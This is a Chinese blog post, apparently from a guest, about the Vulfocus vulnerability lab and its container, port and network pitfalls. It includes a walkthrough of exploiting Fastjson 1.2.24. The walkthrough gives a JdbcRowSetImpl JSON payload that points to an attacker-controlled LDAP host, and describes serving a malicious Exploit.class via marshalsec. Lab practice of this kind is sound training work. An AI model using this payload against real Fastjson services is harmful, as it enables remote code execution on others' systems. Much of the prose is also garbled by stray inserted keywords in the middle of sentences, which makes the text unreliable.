游客发表
Vulfocus 是靶场个在线漏洞靶场,Docker 一键起环境,漏洞省掉了自己搭 Vulhub 的复现麻烦。但它默认配置有几个坑,靶场不踩一遍你根本不知道。漏洞
第一次用 Vulfocus 是复现去年年底,想复现一个 Fastjson 的靶场反序列化漏洞。平台界面挺干净,漏洞点"启动"按钮,复现等了大概十几秒,靶场一个带 IP 和端口的漏洞靶机就出来了。当时觉得这东西真省事——不用配 Docker Compose,复现不用管网络映射,靶场浏览器里点两下就能打。漏洞
问题出在我打完第一个靶机之后。复现
Vulfocus 默认不会自动销毁你启动过的容器。我连续开了三个靶场环境,结果第四个死活起不来——端口池满了。去翻文档才发现,它用的是固定端口段映射,每个环境占一个端口,不手动关掉就一直在那儿挂着。这个设计说实话有点反直觉,毕竟大部分靶场用完就丢,谁会想到还要自己清理。
解决办法倒也简单,在"环境管理"里挨个点销毁。但如果你同时开了十几个,一个个点就很烦。后来我直接 SSH 上去 docker ps 然后批量 docker rm -f,快得多。
拿 Fastjson 1.2.24 的远程命令执行来说。靶机起来之后,访问 http://your-ip:port,页面是一个简单的 JSON 提交框。构造 payload 的时候要注意,Vulfocus 上的这个镜像用的是 com.sun.rowset.JdbcRowSetImpl 这条链,不是常见的 TemplatesImpl。我第一次用 TemplatesImpl 打,返回 500,以为是靶场坏了,换了链才通。
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://your-vps:1389/Exploit", "autoCommit": true } VPS 上起一个 marshalsec 的 LDAP 服务,再挂一个 HTTP 服务托管编译好的 Exploit.class。提交之后,靶机那边会主动连过来加载恶意类。整个过程不到两分钟,但前提是你得知道用哪条链。
Vulfocus 的容器默认跑在 bridge 网络下。这意味着靶机不能直接访问外网——你的 VPS 得跟靶机在同一网络里,或者你得把 payload 里的地址换成 Vulfocus 宿主机能访问到的 IP。我一开始把 LDAP 地址写成 127.0.0.1,当然打不通,因为那是容器内部的回环地址,不是宿主机的。
这个坑很典型。很多人在本地搭 Vulhub 的时候习惯用 127.0.0.1,到了 Vulfocus 上照搬,结果就是命令执行了但反弹不回来。改成宿主机在 Docker 网络里的 IP(通常是 172.17.0.1)才行。
Vulfocus 每个靶场都有一个 flag 文件,通常在 /tmp/flag 或者 /root/flag。你拿到命令执行之后 cat 一下,把内容提交到平台就算通过。这个设计比 CTF 那种找 flag 的玩法直接得多,适合练手,但不适合模拟真实渗透场景——真实环境里可没有这么明确的"通关标志"。
总的来说,Vulfocus 适合快速验证漏洞 PoC,省去了搭环境的功夫。但它的容器管理、网络配置和端口分配都需要你心里有数,不然就会像我一样,对着一个"打不通"的靶场浪费半小时。工具是好工具,前提是你得知道它哪里会卡你。
友情链接